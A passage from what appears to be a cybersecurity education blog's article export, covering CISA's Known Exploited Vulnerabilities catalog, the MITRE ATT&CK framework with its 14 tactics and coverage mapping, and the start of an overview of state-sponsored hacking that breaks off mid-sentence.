priority flag, so the catalog has become a shared reference point across the industry. Later refinements, such as flagging entries tied to ransomware activity, have made it more useful for prioritisation without changing its core purpose: to state, with evidence, which flaws carry a known cost of delay. ## Wiring KEV into a workflow The value of KEV shows up only when it is automated, because a catalog you check by hand every few weeks will always trail the additions that matter. A workable pipeline has a few moving parts. First, pull the feed on a schedule and store it. The JSON or CSV is small and changes often, so fetching it daily or more frequently keeps your copy current. Second, match it against a live asset inventory. The match is on vendor and product, joined through the CVE identifier to your scanner findings, which is why keeping an accurate inventory of what you actually run is the unglamorous foundation the whole thing rests on. A KEV entry for a product you do not have is noise, and a KEV entry for a product you forgot you run is exactly the exposure you need to find. Third, route matches automatically into your ticketing system with the required action date carried through as the deadline, so a confirmed-exploited flaw becomes a tracked task the moment it is added rather than whenever someone next looks. Fourth, feed the same matches to your detection team, so flaws you cannot patch immediately get exploitation hunting and the listed mitigation in the interim. Finally, report on it. The percentage of KEV entries in your environment closed on or before their due dates is a clean, defensible metric that leadership can understand at a glance, and it maps directly to the risk of the flaws where waiting has a known cost. ## Frequently asked questions **Is the KEV catalog free to use?** Yes. It is public and downloadable as JSON or CSV at no cost, so any organisation can ingest it and match it against their inventory regardless of sector or size. The binding deadlines apply only to US federal civilian agencies, and the data is free for everyone. **How often is KEV updated?** CISA adds entries on an ongoing basis as new exploitation is confirmed, so the catalog changes frequently rather than on a fixed schedule. This is why automated ingestion on each update beats periodic manual checks, which fall behind quickly. **What is the difference between KEV and a CVSS score?** KEV confirms that a flaw is being exploited in the wild, which is a fact about the real world. CVSS rates how much damage a successful exploit would cause, which is an assessment of potential impact. KEV answers whether to worry now, CVSS answers how bad it would be, and they are strongest used together. **Does a KEV listing mean I have been hacked?** No. It means the flaw is being exploited somewhere, so it is a strong signal to patch quickly and to look for exploitation in your environment. It is not evidence that your specific systems have been compromised. **What are the three criteria for adding a CVE to KEV?** The vulnerability must have an assigned CVE ID, there must be reliable evidence it is being actively exploited in the wild, and there must be a clear remediation action such as a vendor patch or a defined mitigation. All three are required, and a published proof-of-concept alone does not meet the exploitation bar. **Should a private company follow the federal remediation deadlines?** It is a sensible default. The due dates encode CISA's read on how urgently each confirmed-exploited flaw needs closing, which is free prioritisation guidance. Many private organisations adopt the KEV due dates directly as internal remediation service levels. **How is KEV different from the CVE program and the NVD?** The CVE program assigns the identifier and the core record for a flaw, and the NVD adds severity scoring and enrichment on top of CVE records. KEV is a separate, curated list that flags which of those CVEs are confirmed to be actively exploited. See [The CVE System Explained](/the-cve-system-explained) for how the identifiers themselves are created. ## Related guides - [CVSS Explained](/cvss-explained) - [EPSS Explained](/epss-explained) - [The CVE System Explained](/the-cve-system-explained) - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) ### Sources - Known Exploited Vulnerabilities Catalog (CISA): https://www.cisa.gov/known-exploited-vulnerabilities-catalog - BOD 26-04: Prioritizing Security Updates Based on Risk (CISA): https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk - Reducing the Significant Risk of Known Exploited Vulnerabilities (Program Page) (CISA): https://www.cisa.gov/known-exploited-vulnerabilities --- ## The MITRE ATT&CK Framework: The 14 Tactics, Techniques & Coverage Mapping > How MITRE ATT&CK works: the 14 Enterprise tactics in order with their TA IDs, tactics vs techniques vs sub-techniques, the Mobile and ICS matrices, groups, software, and coverage mapping. - URL: https://blog.pwnsy.com/mitre-attack-framework-explained - Date: 2026-07-24 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: mitre-attack, threat-intel, detection-engineering, threat-hunting, adversary-behavior, tactics, blue-team - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - MITRE ATT&CK is a free, curated knowledge base of how real adversaries behave, organised as tactics (the why), techniques (the how), and sub-techniques (the specific how). - The Enterprise matrix has 14 tactics, from Reconnaissance through Impact, each with a stable ID in the TA00xx form, and hundreds of techniques beneath them. - The framework is split into matrices for different domains: Enterprise, Mobile, and ICS, each covering the attack surface of that environment. - ATT&CK also catalogs adversary Groups and the Software they use, plus the Mitigations and Data Sources attached to every technique. - Defenders use ATT&CK to map their detection and prevention coverage against real behaviour, find gaps, and speak one shared language across teams. ### Key Takeaways - The 14 Enterprise tactics in order are Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact. - A tactic is the adversary's goal for a step; a technique is a way to achieve it; a sub-technique is a narrower variant, such as T1059.001 PowerShell under T1059. - Tactic IDs run TA0001 to TA0043 and stay stable across MITRE's revisions and renames. - The first two tactics are pre-compromise and yield little telemetry, while the middle tactics repeat across hosts and carry most of the detection value. - Groups (G-IDs) and Software (S-IDs) link to the techniques they use, turning threat intel into a prioritised detection backlog. - Coverage mapping with ATT&CK Navigator turns a scattered set of detections into a visible heat map of what you can and cannot see. Defenders used to describe attacks in whatever words came to hand. One team's "lateral movement" was another team's "pivoting", and neither could tell whether their detections overlapped or left a hole. MITRE ATT&CK fixed that by giving the whole field a shared, structured vocabulary for how adversaries actually behave. ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge. It is a free knowledge base, curated by MITRE from observed real-world intrusions, that catalogs what attackers do once they are inside or trying to get in. It is descriptive: it documents behaviour seen in the wild, gives each behaviour a stable identifier, and lets defenders map their own coverage against it. ## The three layers: tactics, techniques, sub-techniques The framework's structure is the first thing to learn, because everything else hangs off it. **Tactics** are the adversary's goals, the "why" of a step: Initial Access, Execution, Persistence, Credential Access, Exfiltration, and so on. A tactic answers what the attacker is trying to accomplish at that moment, and each carries a stable ID in the `TA00xx` form. **Techniques** are the "how", the general methods used to achieve a tactic. Each has a stable ID. For instance, `T1059` (Command and Scripting Interpreter) is a technique under the Execution tactic. **Sub-techniques** are narrower variants of a technique. `T1059` has sub-techniques for specific interpreters, for example PowerShell or Unix shell, written as `T1059.001` and so on. Sub-techniques let you be precise about exactly which variant you detect or observe. | Layer | Question it answers | Example | |---|---|---| | Tactic | Why is the adversary doing this | Execution (TA0002) | | Technique | How, in general | T1059 Command and Scripting Interpreter | | Sub-technique | How, specifically | T1059.001 PowerShell | A single intrusion touches many tactics in sequence, and within each tactic the attacker picks specific techniques. Laid out left to right, the tactics form the columns of a matrix and the techniques fill them in. One technique can serve more than one tactic: a signed Windows binary can serve Execution and Defense Evasion at once, which is why living-off-the-land activity shows up under several tactics in a single incident. [LOLBins Explained](/living-off-the-land-explained) covers that dual use in detail. ## The 14 Enterprise tactics in order The Enterprise matrix has 14 tactics, and knowing them in order gives you a mental map of an intrusion from first look to final damage. The order below is the standard left-to-right column order of the matrix. | Tactic | ID | Attacker's goal | Example technique | |---|---|---|---| | Reconnaissance | TA0043 | Gather information to plan the operation | Active Scanning (T1595) | | Resource Development | TA0042 | Build or acquire the infrastructure and tools | Acquire Infrastructure (T1583) | | Initial Access | TA0001 | Get a first foothold inside the environment | Phishing (T1566) | | Execution | TA0002 | Run attacker-controlled code on a host | Command and Scripting Interpreter (T1059) | | Persistence | TA0003 | Keep access across reboots and credential changes | Create Account (T1136) | | Privilege Escalation | TA0004 | Gain higher-level permissions | Exploitation for Privilege Escalation (T1068) | | Defense Evasion | TA0005 | Avoid being detected | System Binary Proxy Execution (T1218) | | Credential Access | TA0006 | Steal account names and passwords | OS Credential Dumping (T1003) | | Discovery | TA0007 | Learn the internal environment | System Information Discovery (T1082) | | Lateral Movement | TA0008 | Move from host to host | Remote Services (T1021) | | Collection | TA0009 | Gather the data of interest | Data from Local System (T1005) | | Command and Control | TA0011 | Communicate with compromised hosts | Application Layer Protocol (T1071) | | Exfiltration | TA0010 | Steal the collected data out of the network | Exfiltration Over C2 Channel (T1041) | | Impact | TA0040 | Manipulate, interrupt, or destroy | Data Encrypted for Impact (T1486) | The IDs are not sequential with the visual order, which is a common source of confusion. Reconnaissance and Resource Development were added to Enterprise later and kept high numbers (TA0043, TA0042), while the original matrix ran from Initial Access (TA0001) onward. ### What each tactic covers **Reconnaissance (TA0043)** is the attacker studying the target: scanning infrastructure, harvesting email addresses, reading job postings and public documents for names, technologies, and relationships. Your visibility is limited to the edges where probing touches your systems. **Resource Development (TA0042)** is building or acquiring the operation's tooling: registering domains, standing up servers, buying or developing malware, and setting up accounts. It matters more for intelligence and attribution than for endpoint detection. **Initial Access (TA0001)** is the first foothold. Phishing is the archetype, and the tactic also covers exploiting a public-facing application, abusing valid accounts, and compromising the supply chain. It is the seam between the pre-compromise tactics and everything you can actually see, which makes it a high-value place to invest. **Execution (TA0002)** is running attacker-controlled code on a host, through command interpreters, scripting engines, or scheduled tasks. Almost every intrusion passes through it repeatedly, so it is one of the densest tactics for detection opportunities. **Persistence (TA0003)** keeps access across reboots, logouts, and credential changes: created accounts, scheduled tasks, services, startup entries. Its artifacts often outlive the initial intrusion. **Privilege Escalation (TA0004)** is gaining higher permissions than the initial access granted, by exploiting a vulnerability or abusing a misconfiguration or a token. It overlaps with persistence and defense evasion, since higher privileges make both easier. **Defense Evasion (TA0005)** is avoiding detection, and it is the largest tactic by technique count: clearing logs, disabling security tools, abusing signed binaries, obfuscating files. Because so many techniques serve it, coverage gaps here accumulate without anyone noticing. **Credential Access (TA0006)** is stealing account names and passwords by dumping credentials from memory, capturing input, or abusing stored secrets. It turns a single compromised host into a route across the whole environment, which is why it deserves heavy investment. **Discovery (TA0007)** is learning the internal environment by enumerating accounts, systems, shares, and security tooling. The activity is noisy and repetitive, which makes it a productive place to hunt. **Lateral Movement (TA0008)** is moving from host to host using remote services, remote management tooling, and stolen credentials. It is where a contained incident becomes an enterprise one. See [Lateral Movement Explained](/lateral-movement-explained) for the specific mechanisms. **Collection (TA0009)** is gathering the data of interest before it leaves: staging files, capturing screens, pulling data from local systems and shares. It immediately precedes exfiltration and often shares its telemetry. **Command and Control (TA0011)** is communicating with compromised hosts, usually disguised as ordinary web traffic. Network telemetry is the primary lens on this tactic. **Exfiltration (TA0010)** is moving the collected data out. It may ride the command-and-control channel or use a separate route such as a cloud storage service. Volume and destination anomalies are the classic signals. **Impact (TA0040)** is manipulating, interrupting, or destroying systems and data: ransomware encryption, data wiping, service disruption. It is usually the final act, the point where the intrusion announces itself. ## Reading the tactics as a lifecycle The two leftmost tactics are **pre-compromise**. Reconnaissance and Resource Development largely happen on the attacker's own infrastructure and the open internet, so you rarely have telemetry for them. From **Initial Access** onward you are usually inside your own visibility, and this is the stretch where a strong logging posture pays off: a phishing email lands (Initial Access), a macro runs a script (Execution), a scheduled task is created (Persistence), a token is stolen (Privilege Escalation). A real intrusion does not march through the matrix once. After gaining access, an adversary cycles through Execution, Discovery, Credential Access, Privilege Escalation, and Lateral Movement repeatedly, often revisiting the same four tactics on a dozen hosts. The pre-compromise tactics are hard to see and the final tactics fire late, when damage is underway. Weighting detection investment toward that repeating middle cluster catches attackers while they are still expanding and before they reach Impact. ## The matrices: Enterprise, Mobile, ICS ATT&CK is a set of matrices, each covering a different domain, because the attack surface of a corporate network differs from that of a phone or a factory. - **Enterprise** covers Windows, macOS, Linux, cloud, containers, and networks. It is the largest and most used matrix, and it holds the 14 tactics above. - **Mobile** covers iOS and Android, with techniques specific to mobile platforms such as abuse of device permissions and mobile-specific persistence. - **ICS** covers industrial control systems, the operational technology behind physical processes, where the tactics and impacts differ from IT (for example, disrupting a physical process rather than stealing data). Each matrix shares the same tactic-technique structure, so once you can read one you can read them all. The domain changes which behaviours are relevant. ## Groups and software Beyond behaviours, ATT&CK tracks who uses them and what they use. **Groups** are named clusters of adversary activity, each with an identifier like `G0016`. A group's page lists the techniques it has been observed using and the software it deploys. This is how threat intelligence becomes concrete: instead of "an advanced actor targeted us", you get a specific set of techniques to hunt for. **Software** covers the malware and tools associated with intrusions, each with an identifier like `S0002`. Every software entry maps to the techniques it implements, so a malware family becomes a checklist of behaviours your detections should catch. The links run in every direction. From a technique you can see which groups and software use it. From a group you can see its techniques and its toolkit. That cross-referencing turns a static catalog into an intelligence graph, and it is how you go from a cold column on the matrix to a ranked plan: if the groups that target your sector lean on Credential Access, that column is where your next detection should go. Our Threat Groups directory maps tracked adversaries to the ATT&CK techniques and software they use, so you can go from a named group straight to the concrete behaviours to hunt for and defend against. ## The data model beneath the matrix The grid on the ATT&CK website is a rendering of a richer data model. ATT&CK is built from a small set of object types that reference each other: techniques and sub-techniques describe behaviour, tactics group techniques by goal, Groups describe activity clusters, and Software describes malware and tools. Two further object types do a lot of quiet work. Mitigations (M-IDs) describe defensive measures that reduce the effectiveness of a technique, for example user training or multi-factor authentication, and each technique lists the ones that apply to it. Data Sources (DS-IDs) describe the raw telemetry that would reveal a technique in action, such as process creation, network traffic flow, or file modification, broken down into specific data components. Data Sources are the most useful part of the model for detection engineers, because they answer the question a coverage map raises: if I cannot see this technique today, what log or sensor would let me see it. The relationships between these objects are the real product. A technique points to the groups and software that use it, the mitigations that blunt it, and the data sources that reveal it, so you can start from any node and pivot. From a data source you own, you can find the techniques it illuminates. From a technique, you can find who uses it and how to detect it. The graph is published in a machine-readable STIX format, which is why so many security products ingest ATT&CK directly and tag their own detections with technique IDs. When ATT&CK Navigator shows a technique in red, the technique's Data Sources field tells you what telemetry would turn it green. If the listed data source is process creation logging and you are not collecting that, the gap is a missing sensor rather than a missing rule. Fix the collection first, then write the detection. ## A worked example: mapping one intrusion No specific breach is named here; this is the generic shape a commodity intrusion takes. It begins with a phishing email carrying an attachment: Initial Access, technique Phishing (T1566), and if the attachment is a document, sub-technique Spearphishing Attachment (T1566.001). The user opens it, a macro runs and spawns a scripting interpreter: Execution, technique Command and Scripting Interpreter (T1059), sub-technique for the interpreter used, for example PowerShell (T1059.001). The script writes a copy of itself to disk and adds a registry run key so it survives reboot: Persistence, technique Boot or Logon Autostart Execution (T1547), sub-technique Registry Run Keys (T1547.001). A scheduled task would serve the same tactic. Then the loop begins. The payload enumerates the host and the network (Discovery), queries its privilege level and looks for a way to elevate (Privilege Escalation), and harvests credentials from memory (Credential Access, OS Credential Dumping, T1003). Those credentials let it authenticate to another machine over a remote service (Lateral Movement, Remote Services, T1021). On the new host it runs more code and enumerates again, and the same four or five tactics repeat as it expands. Only when the attacker reaches the systems holding the data they want do the later tactics engage. The implant beacons to a controller over web protocols (Command and Control, Application Layer Protocol T1071, sub-technique Web Protocols T1071.001), staging the data is Collection, sending it out is Exfiltration, and encrypting what remains is Impact. | Step in the intrusion | Tactic | Technique (ID) | |---|---|---| | Malicious attachment delivered | Initial Access | Phishing (T1566) | | Macro runs a script | Execution | Command and Scripting Interpreter (T1059) | | Registry run key added | Persistence | Boot or Logon Autostart Execution (T1547) | | Host and network enumerated | Discovery | System Information Discovery (T1082) | | Credentials pulled from memory | Credential Access | OS Credential Dumping (T1003) | | Reach a second host | Lateral Movement | Remote Services (T1021) | | Beacon to controller | Command and Control | Application Layer Protocol (T1071) | | Data stolen | Exfiltration | Exfiltration Over C2 Channel (T1041) | The intrusion becomes a row of technique IDs across the tactics, which is exactly what a red team reports, what a detection engineer builds rules against, and what an intel analyst compares to known group behaviour. ## Turning the matrix into a detection roadmap The framework earns its place through coverage mapping. The workflow is repeatable: 1. **Inventory your detections and controls**, and tag each one with the ATT&CK tactic and technique it addresses. 2. **Plot them on the matrix.** MITRE's free ATT&CK Navigator lets you colour techniques by how well you cover them, producing a heat map: columns glow where reliable detections sit and stay dark where nothing does. 3. **Overlay threat intelligence.** Layer the techniques used by groups that target your industry on top of your coverage map. Where a relevant technique is red, you have a gap that matters. 4. **Prioritise the gaps.** Read the dark columns against your threat model rather than against a wish to cover everything evenly. A hole in Credential Access or Lateral Movement is urgent if your likely adversaries lean on those; a hole in a tactic they rarely use can wait. 5. **Measure over time.** Re-map after each detection sprint so the heat map stays current and shows coverage improving against real behaviour. One habit keeps this honest: revisit the map after every significant incident, because an intrusion that slipped through shows exactly which tactic your coverage was thin on in the real world, where a paper heat map can look deceptively complete. This is why ATT&CK became the common language of blue teams, red teams, and threat intel. A red team reports findings as technique IDs, the blue team checks those IDs against its coverage map, and intel expresses adversary tradecraft in the same terms. Everyone points at the same cells. The framework also anchors related disciplines: threat hunting uses technique definitions to form hypotheses, detection engineering uses them as the specification for what a rule should catch, and purple teaming uses them as the shared scorecard for an exercise. See the [Threat Hunting Guide](/threat-hunting-guide) for hypothesis-driven hunts built on technique definitions. Fourteen tactics is a small enough list to hold in your head and structured enough to organise hundreds of individual detections beneath. ## ATT&CK next to related models ATT&CK is one of several frameworks a defender meets, and confusing it with its neighbours leads to misuse. | Model | What it catalogues | Granularity | Best used for | |---|---|---|---| | ATT&CK tactics | Adversary objectives across an intrusion | 14 goals | Coverage mapping, shared vocabulary | | ATT&CK techniques | Specific ways objectives are achieved | Hundreds of Txxxx entries | Building and tagging detections | | Cyber Kill Chain | Linear phases of an intrusion | 7 sequential phases | High level narrative and briefing | | Diamond Model | Adversary, capability, infrastructure, victim | 4 linked features | Intrusion analysis and attribution | | MITRE D3FEND | Defensive countermeasures | Defensive technique catalogue | Pairing controls to techniques | | CAPEC | Application and design attack patterns | Attack pattern catalogue | Threat modelling, secure design | | CWE | Software and hardware weakness types | Weakness catalogue | Root-cause and vulnerability classification | The clean way to hold these together is by altitude. The [Cyber Kill Chain](/cyber-kill-chain-explained) is the highest and coarsest, and it works well for explaining an attack to a non-technical audience. ATT&CK sits below it with observable behaviours, cataloguing many techniques per phase rather than one step per phase. D3FEND mirrors ATT&CK on the defensive side, mapping defensive techniques back to the offensive ones they counter. CAPEC and CWE go lower still, into how a specific weakness is attacked and what the underlying flaw is. The Diamond Model sits to one side as an analytic tool, focused on the relationships between an adversary, their tooling, their infrastructure, and their victims, which makes it strong for attribution work. A finding can be expressed at several altitudes at once, and mature teams use ATT&CK as the backbone while reaching for the kill chain or the Diamond Model when the audience or the analytic task calls for it. ## Common misconceptions Four misreadings of ATT&CK recur often enough to call out directly. **Full matrix coverage is the goal.** The matrix is a catalogue of possibilities rather than a checklist to complete. Many techniques will never be relevant to your environment, and chasing green cells wastes effort that belongs on the techniques your actual adversaries use. Covering a technique with a weak, noisy, or easily evaded detection counts for very little, so depth on what matters for your threat model beats a thin layer spread across every cell. **The columns are a strict order.** Real intrusions skip tactics, revisit them, and run several in parallel. An attacker may achieve persistence before privilege escalation, or exfiltrate continuously rather than in one final step. A detection strategy that assumes attackers march in step will miss them. The related error is mixing up the two layers: Defense Evasion is a tactic, abusing a signed binary to evade detection is a technique that serves it, and citing one when you mean the other muddies reports and mappings. **A technique is inherently malicious.** Most techniques describe behaviour that is also used legitimately every day. Command and Scripting Interpreter covers ordinary administration. Remote Services covers normal remote work. Mapping a detection to a technique is where tuning starts, and a rule that fires on the technique without context will drown you in false positives. **A Group is a named organisation.** ATT&CK Groups are clusters of activity assembled from public reporting, and different vendors track overlapping clusters under different names. Technique overlap is weak evidence of identity, because commodity techniques are shared across many actors. Use Group pages to prioritise behaviours to hunt, and leave firm attribution to the people who weigh the full body of evidence. One more thing the matrix cannot do: it is descriptive, built from observed behaviour, so it captures what has been seen rather than everything possible, and it lags the newest tradecraft. A gap in the matrix carries no guarantee that a behaviour cannot happen. ## How ATT&CK evolved ATT&CK began inside MITRE as a way to document post-compromise adversary behaviour on Windows enterprise networks, growing out of research into how intrusions unfolded once an attacker was past the perimeter. It was made public and expanded in several directions. The Enterprise matrix grew beyond Windows to cover macOS, Linux, cloud platforms, containers, and network devices, and it gained the two pre-compromise tactics, Reconnaissance and Resource Development. The introduction of sub-techniques was a significant structural change. Earlier versions had a flatter list of techniques, some broad and some narrow, which made the catalogue uneven. Sub-techniques reorganised the content so that a broad technique carries a set of specific variants beneath it, which made the model more consistent and detections easier to scope. The framework is versioned and revised on a regular cadence as new behaviours are observed and the community contributes. Techniques are added, split, merged, deprecated, or renamed, and a mapping made two versions ago may reference an ID that has moved. This is why the stable IDs matter: a report citing TA0006 or a Txxxx identifier stays unambiguous across revisions, where a name written out in prose can quietly fall out of date. Record the version your detections and mappings were built against, and treat ATT&CK as a current reference to check rather than a fixed poster to memorise once. ## Frequently asked questions **What is the difference between a tactic and a technique?** A tactic is the adversary's goal for a step, the why, such as Persistence or Exfiltration. A technique is a general method for achieving that goal, the how, such as Registry Run Keys for persistence. A sub-technique is a narrower variant. Tactics are the columns of the matrix, techniques fill them, and one technique can serve more than one tactic. **What are the 14 MITRE ATT&CK tactics in order?** Reconnaissance (TA0043), Resource Development (TA0042), Initial Access (TA0001), Execution (TA0002), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005), Credential Access (TA0006), Discovery (TA0007), Lateral Movement (TA0008), Collection (TA0009), Command and Control (TA0011), Exfiltration (TA0010), and Impact (TA0040). **Why are the tactic IDs out of order?** Reconnaissance and Resource Development were added to the Enterprise matrix after the original tactics, so they carry high IDs despite appearing first in the left-to-right order. Citing the ID rather than relying on visual position avoids the confusion. **Do attackers always follow the tactics in order?** No. The order is a rough narrative, and real intrusions loop through the middle tactics repeatedly across many hosts. Treat the sequence as a map of possible moves rather than a fixed timeline. **How many techniques are there?** The Enterprise matrix holds hundreds of techniques and sub-techniques spread across the 14 tactics, and the count changes as MITRE revises the framework. The tactics stay at 14 while the techniques beneath them grow and shift. **Is ATT&CK free to use?** Yes. The knowledge base, the matrices, ATT&CK Navigator, and the underlying STIX data are all published by MITRE at no cost, and they are widely embedded in open-source and commercial security tooling. **What is ATT&CK Navigator?** Navigator is a free web tool from MITRE for annotating the matrix. You can colour techniques by coverage, overlay the techniques used by a specific group, and export the result. It is the standard way to turn a scattered set of detections into a visible heat map. **Should I aim to cover every technique in the matrix?** No. Full coverage is neither achievable nor the goal. Prioritise the techniques used by the groups that target your sector and the ones most exploitable in your environment, and use the matrix to rank effort. **How do Groups and Software help detection?** Each Group and Software entry links to the techniques it has been observed using. When intelligence names a relevant actor or malware family, pull its technique list and treat it as a prioritised detection backlog. **Should I cite the tactic name or the ID?** Cite the ID for precision and use the name for readability. The stable TA00xx identifiers survive MITRE's renames, so pairing the two gives you clarity and durability. **How is ATT&CK different from the Cyber Kill Chain?** The Kill Chain describes an intrusion as a short linear sequence of seven phases and is good for high level storytelling. ATT&CK is a granular, non-linear matrix with many techniques per phase, built for coverage mapping, detection engineering, and threat intelligence. They work at different altitudes and are often used together. **Are there matrices other than Enterprise?** Yes. MITRE maintains separate matrices for mobile platforms and for industrial control systems, each with tactics tuned to that environment. Enterprise and its 14 tactics are the most widely referenced, and the same structure carries across all of them. **How often does ATT&CK change?** MITRE releases updated versions on a regular cadence, adding techniques, refining sub-techniques, and occasionally deprecating or renaming entries. Record the version your detections and mappings were built against so you can reconcile them when the catalogue moves. Used well, ATT&CK converts vague anxiety about attackers into a concrete, shared map of what they do, what you can see, and where the holes are. It gives a red team, a blue team, and a threat intel function one vocabulary, one graph of relationships, and one heat map to argue over. Learn the 14 tactics in order and the framework becomes the common map your intel and defense both read from. ## Related guides - [The Cyber Kill Chain Explained](/cyber-kill-chain-explained) - [LOLBins Explained](/living-off-the-land-explained) - [Lateral Movement Explained](/lateral-movement-explained) - [Threat Hunting Guide](/threat-hunting-guide) ### Sources - MITRE ATT&CK (MITRE): https://attack.mitre.org/ - MITRE ATT&CK: Enterprise Tactics (MITRE): https://attack.mitre.org/tactics/enterprise/ - ATT&CK Matrices (MITRE): https://attack.mitre.org/matrices/ - Getting Started with ATT&CK (MITRE): https://attack.mitre.org/resources/getting-started/ - NIST SP 800-150: Guide to Cyber Threat Information Sharing (NIST): https://csrc.nist.gov/pubs/sp/800/150/final --- ## Nation-State Hacking: State-Sponsored Cyber Operations > How state-sponsored cyber operations work: their goals, typical targets, the main sponsoring regions, and why they operate differently from criminals. - URL: https://blog.pwnsy.com/nation-state-hacking-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: threat-intel - Tags: nation-state, threat-intel, espionage, apt, cyber-operations - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - Nation-state hacking is cyber activity run or directed by a government to advance national interests: intelligence, military advantage, political influence, and for some regimes, revenue. - The goals fall into four buckets: espionage (steal secrets), sabotage (degrade or destroy systems), influence (shape opinion), and financial operations run by sanctioned states to raise funds. - Targets are chosen for strategic value: governments, defence, critical infrastructure, technology and research firms, telecoms, and increasingly the suppliers that serve them. - State operators differ from criminals in patience, tolerance for cost, legal immunity at home, and the ability to combine cyber with other instruments of state power. ### Key Takeaways - State-sponsored operations range from tightly controlled military and intelligence units to contractors and criminal proxies given cover in exchange for deniability. - Espionage is the dominant activity by volume, because stealing information is lower-risk and more useful than destruction most of the time. - Critical infrastructure intrusions are often about pre-positioning: getting quiet access now so disruption is available later if a conflict starts. - Attribution to a specific government is a confidence judgement built from tradecraft, targeting, and infrastructure, and states deliberately blur the line with proxies and false flags. - Defence is the same discipline as defending against any APT, plus supply-chain scrutiny and alignment with government advisories for your sector. When a government wants to know what a rival is planning, it no longer has to recruit a spy and smuggle out paper. It can task a team of operators to quietly read the target's email. Cyber capability has become a standard instrument of statecraft, sitting alongside diplomacy, sanctions, and the military. Every capable state now runs offensive cyber programmes, and the good ones are very good. Nation-state hacking is cyber activity that a government runs or directs to serve national interests. That framing matters. The operator is not chasing a payday, they are executing policy, and that difference shapes everything about how they behave. ## Who actually does the hacking "The state did it" hides a range of arrangements. State-linked operations sit on a spectrum of directness. - **Direct units.** Intelligence agencies and military commands with their own operators, tooling, and tasking. The most disciplined operations look like this. - **Contractors.** Private companies hired by the government to build tools or run operations, which adds capacity and a layer of deniability. - **Proxies and tolerated criminals.** Criminal groups permitted to operate, sometimes tasked, sometimes simply left alone as long as they hit useful targets and not domestic ones. This blurs the line between crime and statecraft on purpose. The proxy model is why attribution gets slippery. A government can benefit from an intrusion while keeping enough distance to deny ordering it. The intent is served either way. ## The four goals of state operations State cyber activity serves national objectives that group into four broad goals. | Goal | What it looks like | Typical intent | |---|---|---| | Espionage | Quiet theft of secrets and data | Intelligence advantage, faster R&D, negotiating leverage | | Sabotage | Disruption or destruction of systems | Degrade an adversary's capability, send a signal | | Influence | Manipulating information and opinion | Shape elections, sow division, discredit | | Financial | Theft to raise revenue | Fund the state under sanctions | **Espionage** is the largest category by volume. Stealing information is lower-risk than destroying it and almost always more useful. Political and military intelligence, trade negotiation positions, defence technology, and commercial research all get collected. Economic espionage (stealing intellectual property to shortcut a domestic industry's development) is a major and persistent strand. **Sabotage** is rarer because it is escalatory and reveals capability. When it happens it targets things that hurt: industrial control systems, power and water, and other operational technology. A recurring and quieter form is **pre-positioning**, where operators establish access to critical infrastructure and simply hold it, so disruption is on the shelf if a conflict starts. The intrusion looks like espionage until the day it does not. **Influence operations** use cyber means to shape what people believe: hacked material leaked at a chosen moment, coordinated inauthentic accounts, and amplification of divisive content. The target is public opinion rather than a network. **Financial operations** are the odd one out, run mainly by heavily sanctioned states that use cyber theft to raise hard currency. These campaigns pursue banks, cryptocurrency exchanges, and individual holders with state-level patience and resourcing, which makes them unusually dangerous compared with ordinary financial crime. ## Who gets targeted Targeting follows strategic value rather than exposure. The recurring targets: - **Government and diplomacy.** Ministries, embassies, and policy bodies. - **Defence and its supply chain.** Militaries and the contractors that build for them. - **Critical infrastructure.** Energy, water, transport, healthcare, and financial systems. - **Technology and research.** Firms and universities holding valuable intellectual property. - **Telecommunications.** Carriers, because they offer access to communications at scale. - **Suppliers and managed service providers.** A single compromised vendor can open the door to many downstream victims, which is why supply-chain intrusion has become a favoured route. Journalists, dissidents, and diaspora communities are also persistent targets for states focused on internal control, a category ordinary criminals have no reason to pursue. ## The main sponsoring regions At a conceptual level, capable offensive cyber programmes are concentrated in a handful of regions, each with a recognisable emphasis that reflects national priorities rather than any single event. - **Large state programmes focused on scale and economic espionage.** Broad collection across technology, industry, and government, often prioritising intellectual property that accelerates domestic industries. - **Technically advanced programmes focused on strategic intelligence and disruption.** Smaller in volume, high in tradecraft, aimed at political, military, and infrastructure targets. - **Sanctioned states running financial operations.** Programmes that blend espionage with revenue-raising theft to offset economic isolation. - **Regional powers with growing capability.** Focused primarily on neighbours, rivals, and domestic dissent. These are patterns, not accusations tied to any current event. The point for a defender is that the region a group is attributed to tells you something about its likely goals and targets, which helps you judge whether you are in scope. Naming the government behind an intrusion combines tradecraft analysis, targeting patterns, and technical indicators into a stated confidence level. States actively muddy this with proxies, shared tooling, and false flags. Treat public attributions as evidence-weighted assessments, and note the confidence language, not as courtroom proof. ## How states differ from criminals State and criminal operators sometimes use the same techniques, so the difference is in constraints and objectives rather than raw method. | Dimension | Criminal | Nation-state | |---|---|---| | Motive | Profit | National interest | | Patience | Weeks | Months to years | | Cost tolerance | Low, burn nothing valuable | High, will spend rare exploits | | Legal risk at home | Prosecutable | Protected, acting for the state | | Toolkit | Reused kits and commodity malware | Custom tools plus commodity where it suffices | | Combined power | Cyber only | Cyber plus diplomacy, sanctions, military | The legal immunity point is underrated. A criminal fears arrest and shapes operations around it. A state operator working for their own government does not, which lets them run longer, more aggressive campaigns and treat access as a durable strategic asset. States also fold cyber into a larger toolkit, timing an intrusion to a diplomatic moment or pairing it with other pressure in ways a criminal never would. ## How to defend For most organisations, defending against a state actor is the same discipline as defending against any Advanced Persistent Threat, with 